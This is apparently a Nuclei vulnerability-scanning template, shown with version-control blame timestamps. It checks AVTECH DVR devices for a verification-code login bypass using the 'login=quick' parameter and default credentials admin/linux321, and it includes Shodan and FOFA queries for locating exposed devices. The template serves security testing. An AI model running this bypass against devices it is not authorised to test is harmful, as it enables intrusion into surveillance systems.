2023-05-15 20:22:39 +00:00
|
|
|
id: avtech-verification-bypass
|
|
|
|
|
|
|
|
|
|
info:
|
|
|
|
|
name: AVTECH DVR - Login Verification Code Bypass
|
|
|
|
|
author: ritikchaddha
|
|
|
|
|
severity: low
|
|
|
|
|
description: |
|
|
|
|
|
AVTECH DVR products are vulnerable to verification code bypass just by entering the "login=quick" parameter to bypass verification code.
|
|
|
|
|
metadata:
|
2023-06-01 17:39:07 +00:00
|
|
|
max-request: 1
|
2023-06-04 08:13:42 +00:00
|
|
|
verified: true
|
2023-05-15 20:22:39 +00:00
|
|
|
shodan-query: title:"login" product:"Avtech"
|
|
|
|
|
fofa-query: app="AVTECH-视频监控"
|
|
|
|
|
tags: avtech,verify,bypass,iot
|
|
|
|
|
|
|
|
|
|
http:
|
|
|
|
|
- method: GET
|
|
|
|
|
path:
|
|
|
|
|
- "{{BaseURL}}/cgi-bin/nobody/VerifyCode.cgi?account={{base64(username + ':' + password)}}&login=quick"
|
|
|
|
|
|
2023-05-17 05:10:43 +00:00
|
|
|
attack: pitchfork
|
|
|
|
|
payloads:
|
|
|
|
|
username:
|
|
|
|
|
- admin
|
|
|
|
|
password:
|
|
|
|
|
- linux321
|
|
|
|
|
|
2023-05-15 20:22:39 +00:00
|
|
|
matchers-condition: and
|
|
|
|
|
matchers:
|
|
|
|
|
- type: regex
|
|
|
|
|
regex:
|
|
|
|
|
- "^0.*\nOK.*"
|
|
|
|
|
|
|
|
|
|
- type: dsl
|
|
|
|
|
dsl:
|
|
|
|
|
- status_code == 200
|
|
|
|
|
- len(body) == 5
|
|
|
|
|
condition: and
|
